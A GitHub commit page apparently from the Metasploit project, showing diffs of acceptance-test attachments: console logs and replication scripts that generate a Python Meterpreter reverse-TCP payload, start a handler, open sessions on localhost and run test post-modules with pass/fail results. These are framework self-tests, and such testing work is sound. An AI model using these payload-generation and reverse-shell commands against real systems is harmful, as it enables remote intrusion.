Skip to content

Commit

Permalink
Update docs
Browse files Browse the repository at this point in the history
  • Loading branch information
msjenkins-r7 committed Nov 9, 2023
1 parent 1983528 commit fd2c110
Show file tree
Hide file tree
Showing 5,797 changed files with 922,532 additions and 924,023 deletions.
The diff you're trying to view is too large. We only load the first 3000 changed files.
6,762 changes: 6,762 additions & 0 deletions acceptance-tests/data/attachments/106a29abf1814381.txt

Large diffs are not rendered by default.

36 changes: 36 additions & 0 deletions acceptance-tests/data/attachments/1091be7a3cb37219.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
use python/meterpreter_reverse_tcp
Stopping all jobs...
msf6 post(test/file) > irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear'
setg SessionTlvLogging file:/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/pythonmeterpreter_reverse_tcp_session_tlv_logging20231109-2021-fgv2z4txt
msf6 payload(python/meterpreter_reverse_tcp) > generate -o /var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/child-process-rb-python-meterpreter-reverse-tcp20231109-2021-je5os5.py -f raw AutoVerifySessionTimeout=30 lport=6002 lhost=127.0.0.1 MeterpreterDebugLogging=rpath:/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/pythonmeterpreter_reverse_tcp_debug_log20231109-2021-4p3abgtxt MeterpreterTryToFork=false PythonMeterpreterDebug=true
msf6 payload(python/meterpreter_reverse_tcp) > SessionTlvLogging => file:/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/pythonmeterpreter_reverse_tcp_session_tlv_logging20231109-2021-fgv2z4txt
msf6 payload(python/meterpreter_reverse_tcp) > [*] Writing 24964 bytes to /var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/child-process-rb-python-meterpreter-reverse-tcp20231109-2021-je5os5.py...
msf6 payload(python/meterpreter_reverse_tcp) > to_handler
[*] Payload Handler Started as Job 1
msf6 payload(python/meterpreter_reverse_tcp) >
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:6002
[*] Meterpreter session 3 opened (127.0.0.1:6002 -> 127.0.0.1:49647) at 2023-11-09 17:38:24 +0000
use test/cmd_exec
msf6 post(test/cmd_exec) > run session=3 AddEntropy=true Verbose=true
[*] Running against session 3
[*] Session type is meterpreter and platform is osx
[*] Starting cmd_exec quote tests
[+] should return the result of echo with single quotes
[+] should return the result of echo with double quotes
[*] Starting cmd_exec stderr tests
[+] should return the stderr output
[*] Starting cmd_exec tests
[+] should return the result of echo
[+] should return the full response after sleeping
[+] should return the full response after sleeping
[+] should return the result of echo 10 times
[*] Finished cmd_exec tests
[*] Testing complete in 6.62 seconds
[*] Passed: 7; Failed: 0; Skipped: 0
[*] Post module execution completed
msf6 post(test/cmd_exec) > sessions -K
jobs -K
[*] Killing all sessions...
[*] 127.0.0.1 - Meterpreter session 3 closed.
msf6 post(test/cmd_exec) >
23 changes: 23 additions & 0 deletions acceptance-tests/data/attachments/10abb5c894ba070b.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
## Load test modules
loadpath test/modules

## Payload
use python/meterpreter_reverse_tcp

## Set global datastore
irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear'
setg SessionTlvLogging file:D:/a/_temp/pythonmeterpreter_reverse_tcp_session_tlv_logging20231109-5032-vg9iv9txt

## Generate command
generate -o D:/a/_temp/child-process-rb-python-meterpreter-reverse-tcp20231109-5032-1vk1pm.py -f raw AutoVerifySessionTimeout=30 lport=6010 lhost=127.0.0.1 MeterpreterDebugLogging=rpath:D:/a/_temp/pythonmeterpreter_reverse_tcp_debug_log20231109-5032-4mgfd9txt MeterpreterTryToFork=false PythonMeterpreterDebug=true

## Create listener
to_handler

## Execute command
python D:/a/_temp/child-process-rb-python-meterpreter-reverse-tcp20231109-5032-1vk1pm.py


## Replication commands
use test/get_env
run session=10 AddEntropy=true Verbose=true
739 changes: 0 additions & 739 deletions acceptance-tests/data/attachments/10c9cf62c1a89ebc.txt

This file was deleted.

23 changes: 23 additions & 0 deletions acceptance-tests/data/attachments/10cff16169941e3d.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
## Load test modules
loadpath test/modules

## Payload
use python/meterpreter_reverse_tcp

## Set global datastore
irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear'
setg SessionTlvLogging file:/tmp/pythonmeterpreter_reverse_tcp_session_tlv_logging20231109-3236-b6joktxt

## Generate command
generate -o /tmp/child-process-rb-python-meterpreter-reverse-tcp20231109-3236-s11zuh.py -f raw AutoVerifySessionTimeout=30 lport=6008 lhost=127.0.0.1 MeterpreterDebugLogging=rpath:/tmp/pythonmeterpreter_reverse_tcp_debug_log20231109-3236-mvyngetxt MeterpreterTryToFork=false PythonMeterpreterDebug=true

## Create listener
to_handler

## Execute command
python /tmp/child-process-rb-python-meterpreter-reverse-tcp20231109-3236-s11zuh.py


## Replication commands
use test/get_env
run session=9 AddEntropy=true Verbose=true
Binary file not shown.
29 changes: 29 additions & 0 deletions acceptance-tests/data/attachments/11091a8f5e330651.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
use python/meterpreter_reverse_tcp
irb -e '(self.respond_to?(:framework) ? framework : self).datastore.user_defined.clear'
setg SessionTlvLogging file:D:/a/_temp/pythonmeterpreter_reverse_tcp_session_tlv_logging20231109-5032-mtaofhtxt
msf6 payload(python/meterpreter_reverse_tcp) > msf6 payload(python/meterpreter_reverse_tcp) > SessionTlvLogging => file:D:/a/_temp/pythonmeterpreter_reverse_tcp_session_tlv_logging20231109-5032-mtaofhtxt
msf6 payload(python/meterpreter_reverse_tcp) > generate -o D:/a/_temp/child-process-rb-python-meterpreter-reverse-tcp20231109-5032-wv8kg.py -f raw AutoVerifySessionTimeout=30 lport=6009 lhost=127.0.0.1 MeterpreterDebugLogging=rpath:D:/a/_temp/pythonmeterpreter_reverse_tcp_debug_log20231109-5032-oof3urtxt MeterpreterTryToFork=false PythonMeterpreterDebug=true
[*] Writing 24924 bytes to D:/a/_temp/child-process-rb-python-meterpreter-reverse-tcp20231109-5032-wv8kg.py...
msf6 payload(python/meterpreter_reverse_tcp) > to_handler
[*] Payload Handler Started as Job 8
msf6 payload(python/meterpreter_reverse_tcp) >
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:6009
[*] Meterpreter session 9 opened (127.0.0.1:6009 -> 127.0.0.1:50081) at 2023-11-09 17:41:04 +0000
use test/railgun_reverse_lookups
msf6 post(test/railgun_reverse_lookups) > run session=9 AddEntropy=true Verbose=true
[*] Running against session 9
[*] Session type is meterpreter and platform is windows
[*] SKIPPED: def test_osx_static (session platform is not osx)
[*] SKIPPED: def test_linux_static (session platform is not osx)
[+] should return a constant name given a const and a filter
[+] should return an error string given an error code
[*] Testing complete in 0.01 seconds
[*] Passed: 4; Failed: 0; Skipped: 2
[*] Post module execution completed
msf6 post(test/railgun_reverse_lookups) > sessions -K
jobs -K
[*] Killing all sessions...
[*] 127.0.0.1 - Meterpreter session 9 closed.
msf6 post(test/railgun_reverse_lookups) > Stopping all jobs...
msf6 post(test/railgun_reverse_lookups) >
Expand Down
Loading

0 comments on commit fd2c110

Please sign in to comment.